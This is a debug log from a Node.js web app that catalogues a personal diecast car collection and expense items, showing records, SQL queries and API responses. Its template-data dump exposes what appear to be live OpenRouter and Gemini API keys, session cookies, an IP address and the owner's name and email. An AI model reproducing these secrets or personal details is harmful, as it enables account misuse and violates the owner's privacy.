      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2025-12-29T15:40:13.175Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2025-12-29T15:42:51.764Z server-connect:router Serving templateView /diecast
2025-12-29T15:42:51.764Z server-connect:app Executing action step identify
2025-12-29T15:42:51.764Z server-connect:app options: { provider: 'security' }
2025-12-29T15:42:51.764Z server-connect:output identity: 1
2025-12-29T15:42:51.764Z server-connect:app Executing action step restrict
2025-12-29T15:42:51.764Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-29T15:42:51.766Z server-connect:output restrict: undefined
2025-12-29T15:42:51.766Z server-connect:router Render template layouts/main
2025-12-29T15:42:51.766Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3Acl6ztp0XEhU1Ir0mG%2FAGBA%3D%3D.1oUVEiol6F5D7WEl6prOr9iSi13pnxtp5zIlKPpUm1qmQaHh1YSk47zgWOvnwClQ7%2B8GnZEBssUBLHv0x4FNlk5HpHf1DoTtXhOxWJqn0n4Jkvn%2F%2Ftm6gChj4lHaskmenmUR8UXoRZLyZIkUHfs7Pxl9DorLqheEaoHvG9u0M40%3D.UQBb4HYVnQZUlY9mjWeqyH7Hd8GPe4zdg9G1H%2FP73J4; your_r_git.sid=s%3A4SzmqjW2zn0yZ9bAAdyb6m6dNp7NxYfC.UQAZ4bYWkCBilyvaJ9gXqq0r6S42HlWTxkwLJzUZHhs',
    'x-forwarded-for': '49.43.180.93',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-30T15:37:27.096Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.93',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3Acl6ztp0XEhU1Ir0mG%2FAGBA%3D%3D.1oUVEiol6F5D7WEl6prOr9iSi13pnxtp5zIlKPpUm1qmQaHh1YSk47zgWOvnwClQ7%2B8GnZEBssUBLHv0x4FNlk5HpHf1DoTtXhOxWJqn0n4Jkvn%2F%2Ftm6gChj4lHaskmenmUR8UXoRZLyZIkUHfs7Pxl9DorLqheEaoHvG9u0M40%3D.UQBb4HYVnQZUlY9mjWeqyH7Hd8GPe4zdg9G1H%2FP73J4; your_r_git.sid=s%3A4SzmqjW2zn0yZ9bAAdyb6m6dNp7NxYfC.UQAZ4bYWkCBilyvaJ9gXqq0r6S42HlWTxkwLJzUZHhs',
    'HTTP_X_FORWARDED-FOR': '49.43.180.93',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2025-12-29T15:42:52.644Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-29T15:42:52.645Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-29T15:42:52.646Z server-connect:app Executing action step identify
2025-12-29T15:42:52.646Z server-connect:app options: { provider: 'security' }
2025-12-29T15:42:52.646Z server-connect:output identity: 1
2025-12-29T15:42:52.646Z server-connect:app Executing action step restrict
2025-12-29T15:42:52.646Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-29T15:42:52.647Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-29T15:42:52.648Z server-connect:output restrict: undefined
2025-12-29T15:42:52.648Z server-connect:app Executing action step select
2025-12-29T15:42:52.648Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-29T15:42:52.649Z server-connect:app Executing action step identify
2025-12-29T15:42:52.649Z server-connect:app options: { provider: 'security' }
2025-12-29T15:42:52.649Z server-connect:output identity: 1
2025-12-29T15:42:52.649Z server-connect:app Executing action step restrict
2025-12-29T15:42:52.649Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-29T15:42:52.652Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-29T15:42:52.652Z server-connect:router Serving serverConnect /api/diecast/list
2025-12-29T15:42:52.652Z server-connect:app Executing action step identify
2025-12-29T15:42:52.652Z server-connect:app options: { provider: 'security' }
2025-12-29T15:42:52.652Z server-connect:output identity: 1
2025-12-29T15:42:52.653Z server-connect:app Executing action step restrict
2025-12-29T15:42:52.653Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-29T15:42:52.653Z server-connect:app Executing action step identify
2025-12-29T15:42:52.653Z server-connect:app options: { provider: 'security' }
2025-12-29T15:42:52.653Z server-connect:output identity: 1
2025-12-29T15:42:52.653Z server-connect:app Executing action step restrict
2025-12-29T15:42:52.653Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-29T15:42:52.654Z server-connect:app Executing action step identify
2025-12-29T15:42:52.654Z server-connect:app options: { provider: 'security' }
2025-12-29T15:42:52.654Z server-connect:output identity: 1
2025-12-29T15:42:52.654Z server-connect:app Executing action step restrict
2025-12-29T15:42:52.654Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-29T15:42:52.655Z server-connect:output restrict: undefined
2025-12-29T15:42:52.655Z server-connect:app Executing action step select
2025-12-29T15:42:52.655Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-29T15:42:52.656Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-29T15:42:52.657Z server-connect:output restrict: undefined
2025-12-29T15:42:52.657Z server-connect:app Executing action step select
2025-12-29T15:42:52.657Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-29T15:42:52.658Z server-connect:output restrict: undefined
2025-12-29T15:42:52.658Z server-connect:app Executing action step single
2025-12-29T15:42:52.658Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-29T15:42:52.658Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-29T15:42:52.659Z server-connect:output restrict: undefined
2025-12-29T15:42:52.659Z server-connect:app Executing action step paged
2025-12-29T15:42:52.659Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2025-12-29T15:42:52.660Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-29T15:42:52.661Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 }
]
2025-12-29T15:42:52.662Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
